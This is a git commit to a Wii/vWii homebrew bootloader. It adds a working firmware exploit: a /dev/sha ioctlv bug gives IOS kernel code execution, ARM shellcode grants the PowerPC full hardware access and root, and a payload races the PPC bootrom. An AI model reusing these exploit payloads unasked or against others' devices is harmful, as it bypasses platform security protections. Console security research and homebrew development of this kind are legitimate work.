arcldr: on vwii, pwn IOS and race the ppc bootrom to get Espresso code execution; additionally, pwn IOS to get full hardware access if needed

This commit is contained in:
Rairii
2025-05-05 23:06:20 +01:00
parent 4f88fa023f
commit 784cc4d17d
5 changed files with 667 additions and 0 deletions

View File

@@ -0,0 +1,2 @@
arm-none-eabi-gcc -marm -march=armv5t -mbig-endian -O3 -nostdlib -nodefaultlibs -o payload.elf -Wl,-T,payload.ld payload.c
arm-none-eabi-objcopy -O binary payload.elf payload.bin

View File

@@ -0,0 +1,173 @@
enum {
HW_PPCIPCVAL = 0x00,
HW_PPCIPCCTRL = 0x04,
HW_IOPIPCCTRL = 0x0c,
HW_TIMER = 0x10,
HW_VISOLID = 0x24,
HW_PPCIRQFLAG = 0x30,
HW_PPCIRQMASK = 0x34,
HW_IOPIRQFLAG = 0x38,
HW_GPIO_OWNER = 0xFC,
HW_RESETS = 0x194,
};
static inline unsigned int interrupt_status() {
unsigned int var;
asm volatile ("mrs %0, cpsr":"=r" (var));
unsigned int ret = var & 0xc0;
asm volatile("");
return ret;
}
static inline unsigned int disable_interrupts() {
unsigned int var;
asm volatile ("mrs %0, cpsr":"=r" (var));
unsigned int ret = var & 0xc0;
var |= 0xc0;
asm volatile ("msr cpsr_c, %0": : "r" (var));
return ret;
}
static inline void enable_interrupts(unsigned int cookie) {
unsigned int var;
asm volatile ("mrs %0, cpsr":"=r" (var));
var &= ~0xc0;
var |= cookie;
asm volatile ("msr cpsr_c, %0": : "r" (var));
}
static inline unsigned int read32(unsigned int offset) {
register unsigned int MMIO_BASE = 0x0d800000;
return *(volatile unsigned int*)(MMIO_BASE + offset);
}
static inline void write32(unsigned int offset, unsigned int value) {
register unsigned int MMIO_BASE = 0x0d800000;
*(volatile unsigned int*)(MMIO_BASE + offset) = value;
}
static inline unsigned int read_zero(void) {
unsigned int value;
asm volatile ("ldr %0, [%1]" : "=r"(value) : "r"(0));
return value;
}
static inline void write_zero(unsigned int value) {
asm volatile ("str %0, [%1]" : : "r"(value), "r"(0));
}
typedef void (*tfpiosNoArg)(void);
typedef void (*tfpiosSingleArg)(unsigned int arg);
typedef void (*tfpMemcpy)(void* dest, void* src, unsigned int length);
void _start(void) {
// get current interrupt enabled state
unsigned int interrupts = interrupt_status();
tfpMemcpy memcpy = (tfpMemcpy)0xFFFF737C;
tfpiosSingleArg udelay = (tfpiosSingleArg)0xffff70a1;
while (1) {
tfpiosNoArg iosStopPpc = (tfpiosNoArg)0xffff689d; //0xffff0e4d;
iosStopPpc();
// let PPC access the debug GPIOs
write32(HW_GPIO_OWNER, read32(HW_GPIO_OWNER) | 0xFF0000);
// copy ancast into place
memcpy((void*)0x01330000, (void*)0x01230000, 0x3f100);
// wipe bootrom state, we only care about the final flags
*(volatile unsigned int*)0x016ffffc = 0;
// set napa sync value
write_zero(0xffffffff);
// disable interrupts whilst flushing dcache
disable_interrupts();
// flush entire dcache
__asm__ __volatile__("1: mrc p15, 0, r15, c7, c10, 3; bne 1b" ::: "cc");
// drain write buffer
__asm__ __volatile__("mcr p15, 0, %0, c7, c10, 4" : : "r"((unsigned int)0));
tfpiosSingleArg iosAhbMemInvalidate = (tfpiosSingleArg)0xffff6881;
tfpiosSingleArg iosAhbMemFlush = (tfpiosSingleArg)0xffff67c5;
iosAhbMemFlush(1);
enable_interrupts(interrupts);
// enable vegas IPC interrupt for PPC
write32(HW_PPCIRQMASK, 0x40000000);
// pull both hreset and sreset
unsigned int reset = read32(HW_RESETS) & ~0x30;
write32(HW_RESETS, reset);
udelay(100);
// release sreset
reset |= 0x20;
write32(HW_RESETS, reset);
udelay(100);
// set up for the bootrom race
register volatile unsigned int* firstInsnPtr = (volatile unsigned int*)0x01330100;
register unsigned int firstInsn = 0x7c9f42a6; //*firstInsnPtr;
register unsigned int jumpInsn = 0x4bfeff00;
register volatile unsigned int* bootromStatePtr = (volatile unsigned int*)0x016ffffc;
register unsigned int bootromStateCacheLine = 0x016fffe0;
// barrier before the time sensitive part
asm volatile("");
// disable interrupts
disable_interrupts();
// release hreset, let the bootrom start
reset |= 0x10;
write32(HW_RESETS, reset);
while (1) {
if (*firstInsnPtr == firstInsn) break;
if ((*bootromStatePtr >> 24) != 0) break;
// invalidate dcache
__asm__ __volatile__("mcr p15, 0, %0, c7, c6, 1" : : "r"((unsigned int)firstInsnPtr));
__asm__ __volatile__("mcr p15, 0, %0, c7, c6, 1" : : "r"(bootromStateCacheLine));
iosAhbMemInvalidate(0);
}
// if bootrom failed, try again
if ((*bootromStatePtr >> 24) != 0) {
enable_interrupts(interrupts);
continue;
}
// replace the first instruction
*firstInsnPtr = jumpInsn;
// flush dcache line
__asm__ __volatile__("mcr p15, 0, %0, c7, c10, 1" : : "r"((unsigned int)firstInsnPtr));
// drain write buffer
__asm__ __volatile__("mcr p15, 0, %0, c7, c10, 4" : : "r"((unsigned int)0));
iosAhbMemFlush(1);
enable_interrupts(interrupts);
// make sure it actually wrote out
__asm__ __volatile__("mcr p15, 0, %0, c7, c6, 1" : : "r"((unsigned int)firstInsnPtr));
iosAhbMemInvalidate(0);
if (*firstInsnPtr != jumpInsn) {
continue;
}
// race succeeded
// wait for bootrom to finish
while (1) {
if ((*bootromStatePtr >> 24) != 0) break;
// invalidate dcache
__asm__ __volatile__("mcr p15, 0, %0, c7, c6, 1" : : "r"(bootromStateCacheLine));
iosAhbMemInvalidate(0);
}
// wait up to 100ms for PPC to set low Napa back to zero
for (int i = 0; i < 100000; i++) {
if (read_zero() == 0) break;
udelay(1);
}
//enable_interrupts(interrupts);
// if value at low Napa not zero, then PPC didn't run our code...
if (read_zero() != 0) {
continue;
}
break;
}
}

View File

@@ -0,0 +1,155 @@
OUTPUT_FORMAT("elf32-bigarm", "elf32-bigarm", "elf32-bigarm")
OUTPUT_ARCH(arm)
ENTRY(_start)
PHDRS
{
main PT_LOAD;
}
MEMORY
{
/* 1MB of memory at DDR+16MB */
main : ORIGIN = 0x11000000, LENGTH = 0x100000
}
SECTIONS
{
. = 0x11000000;
/DISCARD/ : { *(.init) *(.fini) *(.init*) *(.fini*) *(.preinit*) }
.text :
{
/* .text */
*(.text)
*(.text.*)
*(.glue_7)
*(.glue_7t)
*(.stub)
*(.gnu.warning)
*(.gnu.linkonce.t*)
/* .fini */
/*KEEP( *(.fini) )*/
. = ALIGN(8);
} >main :main
.rodata :
{
*(.rodata)
*(.roda)
*(.rodata.*)
*all.rodata*(*)
*(.gnu.linkonce.r*)
SORT(CONSTRUCTORS)
. = ALIGN(8);
} >main :main
/*.preinit_array :
{
PROVIDE (__preinit_array_start = .);
KEEP (*(.preinit_array))
PROVIDE (__preinit_array_end = .);
} >main
.init_array ALIGN(4) :
{
PROVIDE (__init_array_start = .);
KEEP (*(SORT(.init_array.*)))
KEEP (*(.init_array))
PROVIDE (__init_array_end = .);
} >main
.fini_array ALIGN(4) :
{
PROVIDE (__fini_array_start = .);
KEEP (*(.fini_array))
KEEP (*(SORT(.fini_array.*)))
PROVIDE (__fini_array_end = .);
} >main
.ctors ALIGN(4) :
{
KEEP (*crtbegin.o(.ctors))
KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors))
KEEP (*(SORT(.ctors.*)))
KEEP (*(.ctors))
. = ALIGN(4);
} >main
.dtors ALIGN(4) :
{
KEEP (*crtbegin.o(.dtors))
KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors))
KEEP (*(SORT(.dtors.*)))
KEEP (*(.dtors))
. = ALIGN(4);
} >main
.ARM.extab : { *(.ARM.extab* .gnu.linkonce.armextab.*) __exidx_start = ABSOLUTE(.);} >main
ARM.exidx : { *(.ARM.exidx* .gnu.linkonce.armexidx.*) __exidx_end = ABSOLUTE(.);} >main*/
.data :
{
*(.data)
*(.data.*)
*(.gnu.linkonce.d*)
CONSTRUCTORS
. = ALIGN(32);
} >main :main
.bss (NOLOAD) :
{
. = ALIGN(32);
PROVIDE (__bss_start__ = ABSOLUTE(.));
*(.dynbss)
*(.bss)
*(.bss.*)
*(.gnu.linkonce.b*)
*(COMMON)
. = ALIGN(8);
PROVIDE (__bss_end__ = ABSOLUTE(.));
} >main :NONE
__end__ = ABSOLUTE(.) ;
/* ==================
==== Metadata ====
================== */
/* Discard sections that difficult post-processing, etc */
/DISCARD/ : { *(.group .comment .note .init .fini) }
/* Stabs debugging sections. */
.stab 0 : { *(.stab) }
.stabstr 0 : { *(.stabstr) }
.stab.excl 0 : { *(.stab.excl) }
.stab.exclstr 0 : { *(.stab.exclstr) }
.stab.index 0 : { *(.stab.index) }
.stab.indexstr 0 : { *(.stab.indexstr) }
/* DWARF debug sections.
Symbols in the DWARF debugging sections are relative to the beginning
of the section so we begin them at 0. */
/* DWARF 1 */
.debug 0 : { *(.debug) }
.line 0 : { *(.line) }
/* GNU DWARF 1 extensions */
.debug_srcinfo 0 : { *(.debug_srcinfo) }
.debug_sfnames 0 : { *(.debug_sfnames) }
/* DWARF 1.1 and DWARF 2 */
.debug_aranges 0 : { *(.debug_aranges) }
.debug_pubnames 0 : { *(.debug_pubnames) }
/* DWARF 2 */
.debug_info 0 : { *(.debug_info) }
.debug_abbrev 0 : { *(.debug_abbrev) }
.debug_line 0 : { *(.debug_line) }
.debug_frame 0 : { *(.debug_frame) }
.debug_str 0 : { *(.debug_str) }
.debug_loc 0 : { *(.debug_loc) }
.debug_macinfo 0 : { *(.debug_macinfo) }
}

View File

@@ -32,6 +32,10 @@ enum {
// only let the heap implementation use the first 4MB of MEM1
void* __myArena1Hi = MEM_PHYSICAL_TO_K0(PHYSADDR_LOAD);
#ifdef HW_RVL
// ...and do not touch MEM2
u32 MALLOC_MEM2 = 0;
#endif
static GXRModeObj *rmode = NULL;
@@ -815,6 +819,188 @@ static void video_encoder_init_vga(void) {
}
#endif
#ifdef HW_RVL
#define mfpvr() ({u32 _rval; \
__asm__ __volatile__ ("mfpvr %0" : "=r"(_rval)); _rval;})
// Pwn IOS:
// - Enforce PPC access to all hardware.
// - On vWii, reboot PPC and race its bootrom to gain access to the other 2 cores.
// Cafe OS uses core1 as main core due to its extra cache.
// We must use core0 as main core as compat PI only allows core0 interrupts.
static void EnchantIOP(void) {
//printf("PVR = %08x\n", mfpvr());
if ((read32(0xCD800064) == 0xFFFFFFFF) ? 1 : 0) {
// PPC already has access to all hardware.
// If this isn't vWii, no need to do anything.
if ((read32(0xCD8005A0) >> 16) != 0xCAFE) return;
// If not in broadway compat mode, do nothing.
if ((mfpvr() >> 16) != 8) return;
//printf("Gaining root...\n");
} //else printf("Gaining AHBPROT and IOS root...\n");
if (IOS_GetVersion() != 58) {
// we want IOS58.
IOS_ReloadIOS(58);
}
// Use the /dev/sha exploit.
// Thanks BroadOn for all the bugs :3
static u32 stage1[] = {
0x4903468D, // ldr r1, =0x10100000; mov sp, r1;
0x49034788, // ldr r1, =entrypoint; blx r1;
/* Overwrite reserved handler to loop infinitely */
0x49036209, // ldr r1, =0xFFFF0014; str r1, [r1, #0x20];
0x47080000, // bx r1
0x10100000, // temporary stack
0x41414141, // entrypoint
0xFFFF0014, // reserved handler
};
static u32 iop_kernel_mode[] = {
// give PPC access to all hardware
0xe3a04536, // mov r4, #0x0D800000
0xe3e05000, // mov r5, #0xFFFFFFFF
0xe5845064, // str r5, [r4, #0x64]
// set PPC uid as root
0xe92d4003, // push {r0-r1, lr}
0xe3a0000f, // mov r0, #15 ; PROCESS_ID_PPCIPC
0xe3a01000, // mov r1, #0 ; USER_ID_ROOT
0xe6000570, // syscall IOS_SetUid
0xe8bd4003, // pop {r0-r1, lr}
0xe12fff1e, // bx lr
};
// We don't care about the very start of memory.
// (Napa/Splash size is at offset 0x28, we aren't overwriting that much)
u32* napa = (u32*)0x80000000;
u32* ddr = (u32*)0x91000000;
memcpy(napa, stage1, sizeof(stage1));
napa[5] = (u32)MEM_K0_TO_PHYSICAL(iop_kernel_mode);
DCFlushRange(napa, 0x20);
int hSha = IOS_Open("/dev/sha", IPC_OPEN_NONE);
if (hSha < 0) return;
ioctlv vec[3] = {0};
vec[1].data = (void*)0xfffe0028;
vec[2].data = MEM_K0_TO_PHYSICAL(0x80000000);
vec[2].len = 0x20;
// broadon was cursed to never write secure code, amirite
IOS_Ioctlv(hSha, 0, 1, 2, vec);
// wait for context switch to idle thread
sleep(1);
IOS_Close(hSha);
// make sure it worked
if (read32(0xCD800064) != 0xFFFFFFFF) {
return;
}
// do more only if in wiimode on cafe
if ((read32(0xCD8005A0) >> 16) != 0xCAFE) {
return;
}
// read ancast into memory.
// 0x3f100 bytes at offset 0x500, to physaddr 0x01230000
// arm payload will copy to 0x01330000
const char ancast_path[] = "/title/00000001/00000200/content/00000003.app";
int hAncast = IOS_Open(ancast_path, IPC_OPEN_READ);
if (hAncast < 0) return;
bool ancastSuccess = false;
do {
if (IOS_Seek(hAncast, 0x500, 0) < 0) break;
if (IOS_Read(hAncast, (void*)0x81230000, 0x3f100) != 0x3f100) break;
if (read32(0xc1230000) != 0xefa282d9) break;
ancastSuccess = true;
} while (0);
IOS_Close(hAncast);
if (!ancastSuccess) {
return;
}
// first up, restart IOS to ensure icache + dcache are wiped
// we lose root, but we only needed it to read the ancast image so...
// Get IOS current version
s32 ios = IOS_GetVersion();
if (ios < 0) ios = IOS_GetPreferredVersion();
if (ios >= 3) {
// Patch to always set AHBPROT on loading TMD
patch_ahbprot_reset();
// reload IOS, get rid of our existing environment
// try IOS58 first then fall back
if (ios == 58 || IOS_ReloadIOS(58) < 0) IOS_ReloadIOS(ios);
// and patch again, in case we reload again
patch_ahbprot_reset();
}
// make sure ios version is correct
if (read32(0xC0003140) != 0x3a1920) {
return;
}
// get ARM kernel mode code execution again,
// this time to race the PPC bootrom and get espresso-mode code execution
static u32 iop_kernel_mode_restart_ppc[] = {
#include "ppc_race_payload.inc"
};
static u32 ppc_payload_write[] = {
0x38800000, // li r4, 0
0x90840000, // stw r4, 0(r4)
0x7c0420ac, // dcbf r4, r4
0x7c0004ac, // sync
};
static u32 ppc_payload[] = {
0x38600000 | (0x4000 - sizeof(ppc_payload_write)), // li r3, x
0x38800000, // li r4, 0
0x7c7a03a6, // mtsrr0 r3
0x7c9b03a6, // mtsrr1 r4
0x4c000064, // rfi
0x48000000, // b .
0x60000000, // nop
};
memcpy(ddr, iop_kernel_mode_restart_ppc, sizeof(iop_kernel_mode_restart_ppc));
memcpy((void*)0x81320000, ppc_payload, sizeof(ppc_payload));
memcpy((void*)(0x80004000 - sizeof(ppc_payload_write)), ppc_payload_write, sizeof(ppc_payload_write));
memset((void*)0x816fffe0, 0, 0x20);
memcpy(napa, stage1, sizeof(stage1));
napa[5] = (u32)MEM_K0_TO_PHYSICAL(ddr);
DCFlushRange(napa, 0x20);
DCFlushRange(ddr, ((sizeof(iop_kernel_mode_restart_ppc) / 0x20) + 1) * 0x20);
DCFlushRange((void*)0x81320000, 0x100);
DCFlushRange((void*)0x816fffe0, 0x20);
DCFlushRange((void*)(0x80004000 - sizeof(ppc_payload_write)), 0x20);
// run exploit to reset ppc
hSha = IOS_Open("/dev/sha", IPC_OPEN_NONE);
if (hSha < 0) return;
ioctlv vec2[3] = {0};
vec2[1].data = (void*)0xfffe0028;
vec2[2].data = MEM_K0_TO_PHYSICAL(0x80000000);
vec2[2].len = 0x20;
// wait for ios to fully come up
sleep(1);
// close libogc IOS handles
__IOS_ShutdownSubsystems();
// bye bye
IOS_Ioctlv(hSha, 0, 1, 2, vec2);
// just hang until pwned IOP puts this cpu back into reset
while (1);
}
#endif
int main(int argc, char** argv) {
// Initialise the video system
VIDEO_Init();
@@ -839,6 +1025,13 @@ int main(int argc, char** argv) {
id0 == 0xFF800000;
}
if (isRva) rmode = &TVNtsc480Prog;
if (*(PULONG)0x80001800 == 0 && *(PULONG)0x80001804 == 'STUB') {
// Do not try to run an IOS exploit if this isn't real hardware.
} else {
// Cast a spell on the IOP, we want more than what it's given us
EnchantIOP();
}
#endif
// Get size of Splash/Napa (MEM1), DDR (MEM2)

View File

@@ -0,0 +1,144 @@
0xe92d4ff8,
0xe10f7000,
0xe20770c0,
0xe59f41dc,
0xe59f81dc,
0xe59f51dc,
0xe3a06536,
0xe59f31d8,
0xe12fff33,
0xe596c0fc,
0xe59f91d0,
0xe38cc8ff,
0xe1a00009,
0xe59f21c8,
0xe59f11c8,
0xe59f31c8,
0xe586c0fc,
0xe12fff33,
0xe3a02000,
0xe3e01000,
0xe5042003,
0xe5821000,
0xe10f1000,
0xe38110c0,
0xe121f001,
0xee17ff7a,
0x1afffffd,
0xee072f9a,
0xe3a00001,
0xe12fff38,
0xe10f2000,
0xe3c220c0,
0xe1872002,
0xe121f002,
0xe3a01101,
0xe5861034,
0xe596b194,
0xe59fa174,
0xe3cbb030,
0xe3a00064,
0xe586b194,
0xe12fff3a,
0xe38b1020,
0xe3a00064,
0xe5861194,
0xe12fff3a,
0xe10f2000,
0xe38220c0,
0xe121f002,
0xe38bb030,
0xe586b194,
0xe5993100,
0xe1530005,
0x0a00000d,
0xe59f6134,
0xea000007,
0xee073f36,
0xe59f312c,
0xee073f36,
0xe12fff36,
0xe59f3108,
0xe5933100,
0xe1530005,
0x0a000003,
0xe5140003,
0xe59f3110,
0xe1b00c20,
0x0afffff3,
0xe514b003,
0xe1b0bc2b,
0x1a00002f,
0xe59fa0dc,
0xe59f60f8,
0xe59f90f0,
0xe58a6100,
0xee079f3a,
0xee07bf9a,
0xe3a00001,
0xe12fff38,
0xe10f3000,
0xe3c330c0,
0xe1873003,
0xe121f003,
0xee079f36,
0xe59f90bc,
0xe1a0000b,
0xe12fff39,
0xe59a2100,
0xe1520006,
0x1affffab,
0xe5142003,
0xe1b02c22,
0x1a000007,
0xe1a06009,
0xe59fb098,
0xee07bf36,
0xe3a00000,
0xe12fff36,
0xe5143003,
0xe1b03c23,
0x0afffff9,
0xe3a06000,
0xe5963000,
0xe1530006,
0x159f907c,
0x159fb064,
0x0a000006,
0xe3a00001,
0xe12fff3b,
0xe2599001,
0x0a000002,
0xe5962000,
0xe3520000,
0x1afffff8,
0xe3a03000,
0xe5933000,
0xe3530000,
0x08bd8ff8,
0xeaffff8e,
0xe10f3000,
0xe3c330c0,
0xe1873003,
0xe121f003,
0xeaffff89,
0x016fffff,
0xffff67c5,
0x7c9f42a6,
0xffff689d,
0x01330000,
0x0003f100,
0x01230000,
0xffff737c,
0xffff70a1,
0xffff6881,
0x016fffe0,
0x01330100,
0x4bfeff00,
0x000186a0,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,